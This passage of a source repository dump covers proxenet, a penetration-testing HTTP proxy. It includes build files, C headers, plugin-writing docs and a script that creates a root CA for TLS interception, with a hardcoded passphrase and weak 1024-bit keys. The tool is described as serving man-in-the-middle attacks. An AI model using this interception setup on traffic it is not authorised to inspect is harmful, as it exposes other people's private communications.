with empty strings 33 | string(REPLACE "\n" "" PERL_INTERNAL_DIR "${PERL_INTERNAL_DIR}") 34 | string(REPLACE "\n" "" PERL_CFLAGS "${PERL_CFLAGS}") 35 | string(REPLACE "\n" "" PERL_LFLAGS "${PERL_LFLAGS}") 36 | 37 | find_path(PERL_INCLUDE_PATH 38 | NAMES perl.h 39 | PATHS ${PERL_INTERNAL_DIR} 40 | ) 41 | 42 | find_library(PERL_LIBRARY 43 | NAMES perl 44 | PATHS /usr/lib /usr/local/lib /usr/pkg/lib ${PERL_INTERNAL_DIR} 45 | ) 46 | 47 | if(PERL_LIBRARY AND PERL_INCLUDE_PATH) 48 | set(PERL_FOUND TRUE) 49 | endif() 50 | 51 | mark_as_advanced( 52 | PERL_EXECUTABLE 53 | PERL_INCLUDE_PATH 54 | PERL_LIBRARY 55 | PERL_CFLAGS 56 | PERL_LFLAGS 57 | PERL_VERSION 58 | ) 59 | endif() -------------------------------------------------------------------------------- /proxenet.spec: -------------------------------------------------------------------------------- 1 | # 2 | # SPEC file for RPM-based distro build for proxenet 3 | # 4 | # @_hugsy_ 5 | # 6 | 7 | %define name proxenet 8 | %define version 0.4 9 | %define release 1 10 | %define author hugsy 11 | %define author_email hugsy@blah.cat 12 | 13 | %define target /opt/%{name} 14 | 15 | Name: %{name} 16 | Version: %{version} 17 | Release: %{release} 18 | Summary: Lightweight, fast, hacker-friendly proxy tool for penetration tests 19 | Source0: https://github.com/hugsy/proxenet/archive/v%{version}.tar.gz 20 | License: GPLv2 21 | URL: https://github.com/hugsy/proxenet 22 | Group: Applications/Internet 23 | BuildRoot: %{_tmppath}/%{name}-%{version}-buildroot 24 | Requires: perl, python, ruby, lua, tcl, java-1.8.0-openjdk, mbedtls 25 | BuildRequires: cmake, perl-devel, python-devel, ruby-devel, tcl-devel, java-1.8.0-openjdk-devel, mbedtls-devel 26 | 27 | %description 28 | Plugin driven proxy for web application penetration tests, or Man-In-The-Middle attacks. 29 | proxenet is a multi-threaded proxy which allows you to manipulate HTTP requests and responses 30 | using your favorite scripting language (currently supports Python, Ruby, Java, Tcl, Lua, Perl). 31 | 32 | %prep 33 | rm -rf $RPM_BUILD_ROOT 34 | %setup -q 35 | 36 | %build 37 | cmake . -DDEBUG=ON -DUSE_C_PLUGIN=ON -DUSE_PYTHON_PLUGIN=ON -DUSE_JAVA_PLUGIN=ON -DUSE_PERL_PLUGIN=ON -DUSE_LUA_PLUGIN=ON -DUSE_RUBY_PLUGIN=ON 38 | make %{?_smp_mflags} 39 | 40 | %make_install 41 | 42 | %clean 43 | rm -rf $RPM_BUILD_ROOT 44 | 45 | %post 46 | 47 | %files 48 | %{_mandir}/man1/* 49 | %{target}/* 50 | 51 | %changelog 52 | * Sun Jun 05 2016 hugsy 0.4-1 53 | - Released version 0.4, first RPM packaged release 54 | -------------------------------------------------------------------------------- /core.h: -------------------------------------------------------------------------------- 1 | #ifndef _CORE_H 2 | #define _CORE_H 3 | 4 | #include 5 | 6 | #include "main.h" 7 | #include "socket.h" 8 | 9 | #define HTTP_TIMEOUT_SOCK 5 /* in seconds, used for select() call in thread */ 10 | #define MAX_VERBOSE_LEVEL 4 11 | 12 | #include 13 | #ifndef FD_SETSIZE 14 | #define FD_SETSIZE 256 15 | #endif 16 | 17 | 18 | typedef enum proxenet_states { 19 | INACTIVE, /* initial state */ 20 | SLEEPING, /* = means not to treat new request */ 21 | ACTIVE, /* rock'n roll */ 22 | } proxenet_state; 23 | 24 | 25 | #include "plugin.h" 26 | 27 | typedef struct thread_info { 28 | pthread_t thread_id; 29 | int thread_num; 30 | sock_t sock; 31 | pthread_t main_tid; 32 | pthread_mutex_t* mutex; 33 | plugin_t** plugin_list; 34 | } tinfo_t; 35 | 36 | /* stats stuff */ 37 | unsigned long bytes_sent; 38 | unsigned long bytes_recv; 39 | time_t start_time; 40 | time_t end_time; 41 | 42 | 43 | unsigned long request_id; 44 | proxenet_state proxy_state; 45 | unsigned long active_threads_bitmask; 46 | plugin_t* plugins_list; /* points to first plugin */ 47 | pthread_t threads[MAX_THREADS]; 48 | pthread_t main_thread_id; 49 | 50 | int proxenet_start(); 51 | unsigned int get_active_threads_size(); 52 | bool is_thread_active(int); 53 | int proxenet_toggle_plugin(int); 54 | void proxenet_destroy_plugins_vm(); 55 | int proxenet_initialize_plugins_list(); 56 | void proxenet_initialize_plugins(); 57 | void proxenet_xloop(sock_t, sock_t); 58 | int proxenet_kill_thread(pthread_t); 59 | 60 | #endif /* _CORE_H */ 61 | -------------------------------------------------------------------------------- /docs/refs.md: -------------------------------------------------------------------------------- 1 | # References 2 | 3 | List of some nice references found on about interacting high levels VM with C 4 | 5 | ## Python ## 6 | 7 | * http://www.linuxjournal.com/article/3641 8 | 9 | ## Perl ## 10 | 11 | * http://www.perlmonks.org/?node_id=830663 12 | * http://www.fourtheye.org/xs_tutorial.html 13 | * http://perldoc.perl.org/perlembed.html 14 | * http://perldoc.perl.org/perlcall.html#NAME 15 | * http://docstore.mik.ua/orelly/perl/prog3/ch21_04.htm 16 | 17 | ## Ruby ## 18 | 19 | * http://x-aeon.com/wp/2012/12/13/the-ruby-c-api-basics/ 20 | * http://stackoverflow.com/questions/2801346/embedding-ruby-calling-a-function-from-c 21 | * http://clalance.blogspot.com.au/2011/01/writing-ruby-extensions-in-c-part-12.html 22 | * https://silverhammermba.github.io/emberb/c/ 23 | * https://banisterfiend.wordpress.com/2008/09/25/metaprogramming-in-the-ruby-c-api-part-one-blocks/ 24 | && https://banisterfiend.wordpress.com/2008/10/06/metaprogramming-in-the-ruby-c-api-part-two-dynamic-methods/ 25 | * http://www.eqqon.com/index.php/Ruby_C_Extension_API_Documentation_%28Ruby_1.8%29 26 | 27 | ## Lua ## 28 | 29 | * http://pgl.yoyo.org/luai/i/lua_getfenv 30 | * http://gamedevgeek.com/tutorials/calling-lua-functions/ 31 | * http://www.troubleshooters.com/codecorn/lua/lua_c_calls_lua.htm 32 | * http://www.netbsd.org/gallery/presentations/mbalmer/fosdem2012/kernel_mode_lua.pdf 33 | 34 | ## TCL ## 35 | 36 | * http://tmml.sourceforge.net/doc/tcl/#DIVid81d4430 37 | * http://www.tcl.tk/man/tcl8.0/TclLib/ 38 | * https://github.com/weechat/weechat/blob/master/src/plugins/tcl/weechat-tcl.c 39 | 40 | ## Java ## 41 | 42 | * http://cory.li/bytecode-hacking/ 43 | * http://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/invocation.html 44 | * http://www.ishaanguliani.com/content/calling-java-functions-c-linux-ubuntu-jni 45 | -------------------------------------------------------------------------------- /http.h: -------------------------------------------------------------------------------- 1 | #ifndef _HTTP_H 2 | #define _HTTP_H 3 | 4 | #include 5 | 6 | #include "ssl.h" 7 | 8 | #define MAX_HEADER_SIZE 128 9 | #define HTTP_REQUEST_INIT_SIZE 1024 10 | #define HTTP_RESPONSE_INIT_SIZE 1024 11 | #define HTTP_DEFAULT_PORT 80 12 | #define HTTPS_DEFAULT_PORT 443 13 | 14 | typedef enum _http_protocol_types { 15 | HTTP = 1, 16 | HTTPS, 17 | WS, 18 | WSS, 19 | TRANSPARENT 20 | } proto_t; 21 | 22 | typedef struct _http_request_fields 23 | { 24 | proto_t proto_type; 25 | char* method; 26 | char* proto; 27 | char* hostname; 28 | unsigned short port; 29 | char* path; 30 | char* version; 31 | char* uri; 32 | } http_infos_t ; 33 | 34 | typedef enum _request_t { 35 | REQUEST = 0, 36 | RESPONSE, 37 | ONLOAD, 38 | ONLEAVE 39 | } req_t; 40 | 41 | typedef struct _request_type { 42 | long id; 43 | req_t type; 44 | char* data; 45 | size_t size; 46 | bool is_ssl; 47 | http_infos_t http_infos; 48 | bool do_intercept; 49 | } request_t; 50 | 51 | #define CRLF "\r\n" 52 | #define HTTP_STRING "http" 53 | #define HTTPS_STRING "https" 54 | #define WS_STRING "ws" 55 | #define WSS_STRING "wss" 56 | 57 | #define HTTP_PROTO_STRING HTTP_STRING"://" 58 | #define HTTPS_PROTO_STRING HTTPS_STRING"://" 59 | #define WS_PROTO_STRING WS_STRING"://" 60 | 61 | 62 | void generic_http_error_page(sock_t, char*); 63 | int create_http_socket(request_t*, sock_t*, sock_t*, ssl_context_t*); 64 | int format_http_request(request_t*); 65 | int parse_http_request(request_t*); 66 | void free_http_infos(http_infos_t *); 67 | int ie_compat_read_post_body(sock_t, request_t*, proxenet_ssl_context_t*); 68 | 69 | #endif /* _HTTP_H */ 70 | -------------------------------------------------------------------------------- /cmake/FindMbedTLS.cmake: -------------------------------------------------------------------------------- 1 | # Try to find mbedTLS library 2 | # 3 | # Once done this will define 4 | # MBEDTLS_FOUND 5 | # MBEDTLS_INCLUDE_DIR 6 | # MBEDTLS_LIBRARIES 7 | # MBEDTLS_VERSION_MAJOR 8 | # MBEDTLS_VERSION_MINOR 9 | # MBEDTLS_VERSION_PATCH 10 | # MBEDTLS_VERSION 11 | 12 | include(FindPackageHandleStandardArgs) 13 | find_path(MBEDTLS_INCLUDE_DIR NAMES mbedtls/ssl.h) 14 | find_library(MBEDTLS_LIB NAMES mbedtls) 15 | find_package_handle_standard_args(MBEDTLS REQUIRED_VARS MBEDTLS_INCLUDE_DIR MBEDTLS_LIB) 16 | 17 | if( ${MBEDTLS_LIBRARIES-NOTFOUND} ) 18 | message(FATAL_ERROR "Failed to get info from Mbedtls library, check your Mbedtls installation") 19 | set(MBEDTLS_FOUND False) 20 | return() 21 | endif() 22 | 23 | execute_process( 24 | COMMAND bash -c "echo \"#include \n#include \nint main(){printf(MBEDTLS_VERSION_STRING);return 0;}\">a.c;cc a.c -I${MBEDTLS_INCLUDE_DIR} ${MBEDTLS_LIBRARIES} ;./a.out;rm -f a.c a.out" 25 | OUTPUT_VARIABLE MBEDTLS_VERSION 26 | ) 27 | 28 | string(REPLACE "." ";" MBEDTLS_VERSION_LIST ${MBEDTLS_VERSION}) 29 | 30 | list(GET ${MBEDTLS_VERSION_LIST} 0 MBEDTLS_VERSION_MAJOR) 31 | list(GET ${MBEDTLS_VERSION_LIST} 1 MBEDTLS_VERSION_MINOR) 32 | list(GET ${MBEDTLS_VERSION_LIST} 2 MBEDTLS_VERSION_PATCH) 33 | 34 | if( ${MBEDTLS_VERSION} VERSION_LESS "2.1.0") 35 | message(FATAL_ERROR "Mbedtls 2.1+ is required for compiling ${PROGNAME} (current is ${MBEDTLS_VERSION}).") 36 | set(MBEDTLS_FOUND False) 37 | return() 38 | endif() 39 | 40 | find_library(MBEDX509_LIB NAMES mbedx509) 41 | find_library(MBEDCRYPTO_LIB NAMES mbedcrypto) 42 | set(MBEDTLS_LIBRARIES ${MBEDX509_LIB} ${MBEDTLS_LIB} ${MBEDCRYPTO_LIB}) 43 | 44 | set(MBEDTLS_FOUND True) 45 | mark_as_advanced( 46 | MBEDTLS_FOUND 47 | MBEDTLS_INCLUDE_DIR 48 | MBEDTLS_LIBRARIES 49 | MBEDTLS_VERSION_MAJOR 50 | MBEDTLS_VERSION_MINOR 51 | MBEDTLS_VERSION_PATCH 52 | MBEDTLS_VERSION 53 | ) 54 | -------------------------------------------------------------------------------- /docs/plugins/java.md: -------------------------------------------------------------------------------- 1 | # Java plugin 2 | 3 | This page will explain how to write a java plugin for `proxenet`. 4 | 5 | 6 | ## Plugin skeleton 7 | 8 | ```java 9 | 10 | public class MyPlugin 11 | { 12 | 13 | public static String AUTHOR = ""; 14 | public static String PLUGIN_NAME = ""; 15 | 16 | public void proxenet_on_load(){ 17 | return; 18 | } 19 | 20 | public void proxenet_on_leave(){ 21 | return; 22 | } 23 | 24 | public static byte[] proxenet_request_hook(int request_id, byte[] request, String uri){ 25 | return request; 26 | } 27 | 28 | public static byte[] proxenet_response_hook(int response_id, byte[] response, String uri){ 29 | return response; 30 | } 31 | 32 | public static void main(String[] args){ 33 | return; 34 | } 35 | } 36 | ``` 37 | 38 | `proxenet` cannot compile by itself to Java bytecode. So you need to generate 39 | the `.class` file, like this: 40 | ```bash 41 | $ javac MyPlugin.java 42 | ``` 43 | 44 | And copy the new `MyPlugin.class` to the *proxenet-plugins* directory. 45 | 46 | 47 | ## Example 48 | 49 | ```java 50 | public class AddHeader 51 | { 52 | 53 | public static String AUTHOR = "hugsy"; 54 | public static String PLUGIN_NAME = "AddHeader"; 55 | 56 | public void proxenet_on_load(){ 57 | return; 58 | } 59 | 60 | public void proxenet_on_leave(){ 61 | return; 62 | } 63 | 64 | public static byte[] proxenet_request_hook(int request_id, byte[] request, String uri){ 65 | String myReq = new String( request ); 66 | String header = "X-Powered-By: java-proxenet"; 67 | myReq = myReq.replace("\r\n\r\n", "\r\n"+header+"\r\n\r\n"); 68 | return myReq; 69 | } 70 | 71 | public static byte[] proxenet_response_hook(int response_id, byte[] response, String uri){ 72 | return response; 73 | } 74 | 75 | public static void main(String[] args){ 76 | return; 77 | } 78 | } 79 | ``` 80 | -------------------------------------------------------------------------------- /docs/clients.md: -------------------------------------------------------------------------------- 1 | # Controlling proxenet 2 | 3 | Every `proxenet` session creates a control socket. This socket is a Unix socket 4 | (`AF_UNIX`) and by default by to `/tmp/proxenet-control-socket`. `Proxenet` can 5 | be controlled 3 ways, via this socket. 6 | 7 | 8 | ## Raw client 9 | 10 | The most basic way to connect and interact with `proxenet`, is simply by using a 11 | `netcat` (or equivalent) tool. 12 | 13 | ```bash 14 | $ nc -U /tmp/proxenet-control-socket 15 | ``` 16 | 17 | This interface is extremely basic, but provides all the features configurable in 18 | `proxenet`. However, the response will be formatted in JSON, which may not make 19 | it easy to read and understand for a human. 20 | 21 | So from here, you can either build your own client in the language of your 22 | choice, or use the Python client provided. 23 | 24 | 25 | ## Python terminal client 26 | 27 | The Python control client for `proxenet` does **not** require any dependencies, 28 | as all the libraries used are built-in with any Python > 2.5. 29 | 30 | ```bash 31 | $ python /path/to/proxenet/control-client.py 32 | ``` 33 | 34 | ![proxenet-client](img/proxenet-capture1.png) 35 | 36 | 37 | ## Web interface 38 | 39 | The most user friendly way to interact with `proxenet` is through the web 40 | interface. The Python `control-web.py` will spawn a small web HTTP service that 41 | will allow you to do all the same manipulations that the Python terminal client 42 | allowed you to, but in a more Web App pentester friendly way. 43 | 44 | The only requirement for this to work is `python-bottle`, which can be easily 45 | installed through `pip`: 46 | 47 | ```bash 48 | # pip install bottle # for a system-wide installation 49 | $ pip install --user bottle # for a user specific installation 50 | ``` 51 | 52 | And then, simply run 53 | ```bash 54 | $ python /path/to/proxenet/control-web.py 55 | ``` 56 | 57 | By default, the HTTP service listens on TCP port 8009. 58 | 59 | ![proxenet-web](img/proxenet-web-interface.png) 60 | -------------------------------------------------------------------------------- /utils.h: -------------------------------------------------------------------------------- 1 | #ifndef _UTILS_H 2 | #define _UTILS_H 3 | 4 | #ifdef HAVE_CONFIG_H 5 | #include "config.h" 6 | #endif 7 | 8 | #ifndef SIZE_MAX 9 | #define SIZE_MAX ~((size_t)1) 10 | #endif 11 | 12 | #ifdef __GNUC__ 13 | #define UNUSED __attribute__ ((unused)) 14 | #else 15 | #define UNUSED 16 | #endif 17 | 18 | #include 19 | #include 20 | 21 | typedef enum { 22 | LOG_DEBUG = 0, 23 | LOG_INFO, 24 | LOG_WARNING, 25 | LOG_ERROR, 26 | LOG_CRITICAL, 27 | } log_level; 28 | 29 | #define DARK "\x1b[30;1m" 30 | #define RED "\x1b[31;1m" 31 | #define GREEN "\x1b[32;1m" 32 | #define YELLOW "\x1b[33;1m" 33 | #define BLUE "\x1b[34;1m" 34 | #define MAGENTA "\x1b[35;1m" 35 | #define CYAN "\x1b[36;1m" 36 | #define WHITE "\x1b[37;1m" 37 | #define NOCOLOR "\x1b[0m" 38 | 39 | 40 | #ifdef DEBUG 41 | #define GEN_FMT "in `%s'(%s:%d) " 42 | #define __xlog(t, ...) _xlog(t, __VA_ARGS__) 43 | #define xlog(t, _f, ...) __xlog(t, GEN_FMT _f, __FUNCTION__, __FILE__, __LINE__, __VA_ARGS__) 44 | 45 | #else 46 | #define xlog(t, ...) _xlog(t, __VA_ARGS__) 47 | #endif 48 | 49 | void _xlog(int type, const char* fmt, ...); 50 | void* proxenet_xmalloc(size_t size); 51 | void proxenet_xfree(void* ptr); 52 | void proxenet_xzero(void* buf, size_t buflen); 53 | void proxenet_xclean(void* buf, size_t buflen); 54 | void* proxenet_xrealloc(void* oldptr, size_t new_size); 55 | char* proxenet_xstrdup(const char *data, size_t len); 56 | char* proxenet_xstrdup2(const char *data); 57 | void proxenet_lstrip(char* str); 58 | void proxenet_rstrip(char* str); 59 | void proxenet_strip(char* str); 60 | int proxenet_xsnprintf(char *str, size_t size, const char *format, ...); 61 | bool is_valid_plugin_path(char*, char**, char**); 62 | bool is_file(char*); 63 | bool is_dir(char*); 64 | bool is_readable_file(char*); 65 | bool is_writable_file(char*); 66 | char* expand_file_path(char*); 67 | void proxenet_hexdump(char*, int); 68 | void proxenet_perror(int level, int errnum); 69 | 70 | #endif /* _UTILS_H */ 71 | -------------------------------------------------------------------------------- /cmake/FindPolarSSL.cmake: -------------------------------------------------------------------------------- 1 | # Try to find PolarSSL library 2 | # 3 | # Once done this will define 4 | # POLARSSL_FOUND 5 | # POLARSSL_INCLUDE_DIR 6 | # POLARSSL_LIBRARIES 7 | # POLARSSL_VERSION_MAJOR 8 | # POLARSSL_VERSION_MINOR 9 | # POLARSSL_VERSION_PATCH 10 | # POLARSSL_VERSION 11 | 12 | include(FindPackageHandleStandardArgs) 13 | 14 | find_path(POLARSSL_INCLUDE_DIR NAMES polarssl/ssl.h) 15 | 16 | # 17 | # polarssl -> mbedtls 18 | # Try to find mbedtls.a , if fails tries to find polarssl. 19 | # Only because some distrib (like osx) do not link libmbedtls 20 | # to polarssl for compat 21 | # 22 | find_library(POLARSSL_LIBRARIES NAMES mbedtls) 23 | if(NOT ${POLARSSL_LIBRARIES}) 24 | find_library(POLARSSL_LIBRARIES NAMES polarssl) 25 | endif() 26 | 27 | find_package_handle_standard_args(POLARSSL REQUIRED_VARS POLARSSL_INCLUDE_DIR POLARSSL_LIBRARIES) 28 | 29 | if( ${POLARSSL_LIBRARIES-NOTFOUND} ) 30 | message(FATAL_ERROR "Failed to get info from PolarSSL library, check your PolarSSL installation") 31 | set(POLARSSL_FOUND False) 32 | return() 33 | endif() 34 | 35 | execute_process( 36 | COMMAND bash -c "echo \"#include \n#include \nint main(){printf(POLARSSL_VERSION_STRING);return 0;}\">a.c;cc a.c -I${POLARSSL_INCLUDE_DIR} ${POLARSSL_LIBRARIES} ;./a.out;rm -f a.c a.out" 37 | OUTPUT_VARIABLE POLARSSL_VERSION 38 | ) 39 | 40 | string(REPLACE "." ";" POLARSSL_VERSION_LIST ${POLARSSL_VERSION}) 41 | 42 | list(GET ${POLARSSL_VERSION_LIST} 0 POLARSSL_VERSION_MAJOR) 43 | list(GET ${POLARSSL_VERSION_LIST} 1 POLARSSL_VERSION_MINOR) 44 | list(GET ${POLARSSL_VERSION_LIST} 2 POLARSSL_VERSION_PATCH) 45 | 46 | if( ${POLARSSL_VERSION} VERSION_LESS "1.3.0") 47 | message(FATAL_ERROR "PolarSSL 1.3+ is required for compiling ${PROGNAME} (current is ${POLARSSL_VERSION}).") 48 | set(POLARSSL_FOUND False) 49 | return() 50 | endif() 51 | 52 | set(POLARSSL_FOUND True) 53 | mark_as_advanced( 54 | POLARSSL_FOUND 55 | POLARSSL_INCLUDE_DIR 56 | POLARSSL_LIBRARIES 57 | POLARSSL_VERSION_MAJOR 58 | POLARSSL_VERSION_MINOR 59 | POLARSSL_VERSION_PATCH 60 | POLARSSL_VERSION 61 | ) 62 | -------------------------------------------------------------------------------- /docs/config.md: -------------------------------------------------------------------------------- 1 | # Configuration 2 | 3 | ## Plugins 4 | 5 | You will find plenty of working examples for creating your own plugins in the 6 | `examples/` directory of the project. And if you feel like contribution your 7 | scripts, feel free to 8 | [submit them](https://github.com/hugsy/proxenet-plugins/pulls). 9 | 10 | ## SSL/TLS keys 11 | 12 | SSL/TLS layer is fully built-in and extremely flexible thanks to the amazing [PolarSSL](http://polarssl.org/) 13 | library. Version 1.3+ of the library must be installed to compile `proxenet`. 14 | 15 | - Using your own SSL/TLS keys can be done easily with command line parameters 16 | ``` 17 | $ ./proxenet --key=/path/to/ssl.key --cert=/path/to/ssl.crt 18 | ``` 19 | 20 | - If you don't trust me (which is a good thing), you can re-generate new SSL/TLS keys easily: 21 | ``` 22 | $ make -C keys 23 | ``` 24 | 25 | ## Proxy forwarding 26 | 27 | `proxenet` can also seemlessly relay HTTP traffic and forward it to another HTTP proxy. 28 | 29 | ``` bash 30 | $ ./proxenet -X 192.168.128.1 --proxy-port 3128 31 | INFO: Starting interactive mode, press h for help 32 | INFO: Infos: 33 | - Listening interface: localhost/8008 34 | - Supported IP version: IPv4 35 | - Logging to stdout 36 | - Running/Max threads: 0/10 37 | - SSL private key: /home/hugsy/code/proxenet/keys/proxenet.key 38 | - SSL certificate: /home/hugsy/code/proxenet/keys/proxenet.crt 39 | - Proxy: 192.168.128.1 [3128] 40 | - Plugins directory: /home/hugsy/code/proxenet/plugins 41 | Plugins list: 42 | |_ priority=1 id=1 type=Python [0x0] name=DeleteEncoding (ACTIVE) 43 | |_ priority=2 id=2 type=Ruby [0x1] name=InjectRequest (ACTIVE) 44 | |_ priority=2 id=3 type=Python [0x0] name=InjectRequest (ACTIVE) 45 | |_ priority=9 id=4 type=Python [0x0] name=Intercept (ACTIVE) 46 | ``` 47 | 48 | `proxenet` also supports SOCKS4, and SOCKS4a proxy forwarding (useful when tunnelling through SSH). 49 | 50 | 51 | ## Daemon mode 52 | 53 | Running as daemon will make `proxenet` detach from the current terminal session. This is very convenient when it is used on a shared host. 54 | 55 | To do this, simply run an instance with the `-d` option. 56 | ```bash 57 | $ ./proxenet -dv 58 | WARNING: proxenet will now run as daemon 59 | WARNING: Use `control-client.py' to interact with the process. 60 | $ 61 | ``` 62 | 63 | -------------------------------------------------------------------------------- /main.h: -------------------------------------------------------------------------------- 1 | #ifndef HAVE_CONFIG_H 2 | #include "config.h" 3 | #endif 4 | 5 | #ifndef _MAIN_H 6 | #define _MAIN_H 7 | 8 | #include 9 | #include "utils.h" 10 | 11 | typedef enum { 12 | INTERCEPT_ONLY, 13 | INTERCEPT_EXCEPT 14 | } intercept_t; 15 | 16 | typedef struct __proxenet_config { 17 | unsigned char verbose; 18 | bool use_color; 19 | unsigned short nb_threads; 20 | bool daemon; 21 | char* logfile; 22 | FILE* logfile_fd; 23 | char* port; 24 | char* iface; 25 | int ip_version; 26 | 27 | /* interception parameters */ 28 | intercept_t intercept_mode; 29 | char* intercept_pattern; 30 | 31 | /* plugin paths */ 32 | char* plugins_path; 33 | char* autoload_path; 34 | 35 | /* proxenet SSL certificate for SSL interception */ 36 | char* cafile; // realpath to proxenet CA certificate 37 | char* keyfile; // realpath to proxenet private key 38 | char* keyfile_pwd; // password to unlock the private key 39 | char* certsdir; // realpath to stored certificates 40 | char* certskey; // realpath to stored certificates private key 41 | char* certskey_pwd; // password to unlock the stored certificates private key 42 | 43 | /* client-side SSL certificate */ 44 | char* sslcli_certfile; // realpath to SSL client certificate 45 | char* sslcli_keyfile; // realpath to SSL client private key 46 | char* sslcli_keyfile_pwd; // password to unlock the client private key 47 | char* sslcli_domain; // domain to use the client the certificate 48 | 49 | struct _proxy_t { 50 | char* host; 51 | char* port; 52 | } proxy; 53 | bool is_socks_proxy; 54 | 55 | unsigned short try_exit; 56 | unsigned short try_exit_max; 57 | 58 | bool ie_compat; 59 | bool ssl_intercept; 60 | 61 | bool do_restart; 62 | } conf_t; 63 | 64 | conf_t current_config; 65 | conf_t* cfg; 66 | 67 | int proxenet_init_config(int, char**); 68 | void proxenet_free_config(); 69 | 70 | #endif /* _MAIN_H */ 71 | -------------------------------------------------------------------------------- /keys/proxenet-setup-ca.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Script to setup easily a valid CA for proxenet to use 4 | # 5 | # @_hugsy_ 6 | # 7 | set -e 8 | 9 | CA_KEY_PREFIX="proxenet" 10 | CA_KEY_SIZE=1024 11 | CA_KEY_DURATION=3650 12 | CA_GENERIC_KEY="generic" 13 | CERTS_DIR="./certs" 14 | OPENSSL_CNF="/opt/proxenet/misc/openssl.cnf" 15 | TMP_PWD="a8f2c3cc583ad6f770ec19d1b729798258d25c1b1e65e5751485e7d014963060" 16 | 17 | keys() 18 | { 19 | echo "[+] Creating new root Certificate Authority for ${CA_KEY_PREFIX}" 20 | echo "[+] Generating new private key" 21 | echo ${TMP_PWD} | openssl genrsa -out ${CA_KEY_PREFIX}.key ${CA_KEY_SIZE} >/dev/null 2>&1 22 | echo "[+] Creating CSR" 23 | openssl req -new -key ${CA_KEY_PREFIX}.key -out ${CA_KEY_PREFIX}.csr -config ${OPENSSL_CNF} -batch >/dev/null 2>&1 24 | echo "[+] Unlocking key" 25 | cp ${CA_KEY_PREFIX}.key ${CA_KEY_PREFIX}.key.org 26 | openssl rsa -in ${CA_KEY_PREFIX}.key.org -out ${CA_KEY_PREFIX}.key >/dev/null 2>&1 27 | echo "[+] Auto-signing CSR" 28 | openssl x509 -req -days ${CA_KEY_DURATION} -in ${CA_KEY_PREFIX}.csr -signkey ${CA_KEY_PREFIX}.key -out ${CA_KEY_PREFIX}.crt >/dev/null 2>&1 29 | echo "[+] Cleaning" 30 | rm -fr ${CA_KEY_PREFIX}.key.org ${CA_KEY_PREFIX}.csr 31 | echo -n "[+] Created CA root key and certificate " 32 | mkdir -p ${CERTS_DIR} 33 | echo ${TMP_PWD} | openssl genrsa -out ${CERTS_DIR}/${CA_GENERIC_KEY}.key ${CA_KEY_SIZE} >/dev/null 2>&1 34 | echo "Done" 35 | echo -n "[+] Creating the PKCS12 export certificate (key=proxenet) " 36 | openssl pkcs12 -export -passout pass:proxenet -out ${CA_KEY_PREFIX}.p12 -inkey ${CA_KEY_PREFIX}.key -in ${CA_KEY_PREFIX}.crt -certfile ${CA_KEY_PREFIX}.crt 37 | echo "Done" 38 | echo -n "[+] Creating the PKCS7 export certificate " 39 | openssl crl2pkcs7 -nocrl -certfile ${CA_KEY_PREFIX}.crt -out ${CA_KEY_PREFIX}.p7b -certfile ${CA_KEY_PREFIX}.crt 40 | echo "Done" 41 | echo "[!] Finish the install by importing the certificate(s) in your web browser as \"Trusted Root Authorities\"" 42 | } 43 | 44 | clean() 45 | { 46 | rm -f ${CA_KEY_PREFIX}.key ${CERTS_DIR}/${CA_GENERIC_KEY}.key 47 | echo "[+] Removed keys" 48 | rm -f ${CA_KEY_PREFIX}.crt ${CERTS_DIR}/*.crt 49 | echo "[+] Removed certificates" 50 | echo "[!] Remember to clean the certificates imported in your browser too!" 51 | } 52 | 53 | OPENSSL="`which openssl`" 54 | test $? -ne 0 && exit 1 55 | test ! -x "${OPENSSL}" && exit 2 56 | 57 | echo "[+] Using '${OPENSSL}'" 58 | 59 | case "$1" in 60 | "keys") 61 | keys ;; 62 | "clean") 63 | clean ;; 64 | "*") 65 | echo "Invalid action" 66 | exit 3 ;; 67 | esac 68 | -------------------------------------------------------------------------------- /docs/plugins/c.md: -------------------------------------------------------------------------------- 1 | # C plugin 2 | 3 | This page will explain how to write a C plugin for `proxenet`. 4 | 5 | 6 | ## Plugin skeleton 7 | 8 | 9 | ```c 10 | #include 11 | 12 | typedef struct info { 13 | const char* AUTHOR; 14 | const char* PLUGIN_NAME; 15 | } c_plugin_info_t; 16 | 17 | c_plugin_info_t MyPlugin = { 18 | .AUTHOR = "", 19 | .PLUGIN_NAME = "" 20 | }; 21 | 22 | 23 | int proxenet_request_on_load() 24 | { 25 | return 0; 26 | } 27 | 28 | int proxenet_request_on_leave() 29 | { 30 | return 0; 31 | } 32 | 33 | char* proxenet_request_hook(unsigned long request_id, char *request, char* uri, size_t* buflen) 34 | { 35 | return request; 36 | } 37 | 38 | 39 | char* proxenet_response_hook(unsigned long response_id, char *response, char* uri, size_t* buflen) 40 | { 41 | return response; 42 | } 43 | 44 | 45 | int main(int argc, char** argv, char** envp) 46 | { 47 | return 0; 48 | } 49 | ``` 50 | _Note_: As you may have noticed, the definitions for the functions 51 | `proxenet_request_hook()` and `proxenet_response_hook()` have an extra 52 | argument. This argument, `buflen` is a pointer to a `size_t` variable, which 53 | will contain the size of the request. Every plugin that modifies the length of 54 | the request/response **MUST** update this value. See the example below for 55 | demonstration. 56 | 57 | `proxenet` does not recognize plain C files so it should be compiled first as a 58 | [shared object](http://tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html). The 59 | following command might just do the trick: 60 | 61 | ```bash 62 | $ cc -Wall -Werror -fPIC -shared -o MyPlugin.so MyPlugin.c 63 | ``` 64 | 65 | ## Example 66 | 67 | ```c 68 | #include 69 | #include 70 | #include 71 | #include 72 | 73 | typedef struct info { 74 | const char* AUTHOR; 75 | const char* PLUGIN_NAME; 76 | } c_plugin_info_t; 77 | 78 | 79 | c_plugin_info_t MyPlugin = { 80 | .AUTHOR = "hugsy", 81 | .PLUGIN_NAME = "AddHeader" 82 | }; 83 | 84 | 85 | int proxenet_request_on_load() 86 | { 87 | return 0; 88 | } 89 | 90 | int proxenet_request_on_leave() 91 | { 92 | return 0; 93 | } 94 | 95 | 96 | char* proxenet_request_hook(unsigned long request_id, char *request, char* uri, size_t* buflen) 97 | { 98 | const char* header = "X-Powered-By: c-proxenet\r\n\r\n"; 99 | char* newReq = malloc(*buflen + strlen(header) + 2); 100 | memcpy(newReq, request, *buflen-2); 101 | memcpy(newReq + (*buflen-2), header, strlen(header)); 102 | free(request); 103 | *buflen = *buflen + strlen(header) + 2; 104 | return newReq; 105 | } 106 | 107 | 108 | char* proxenet_response_hook(unsigned long response_id, char *response, char* uri, size_t* buflen) 109 | { 110 | return response; 111 | } 112 | 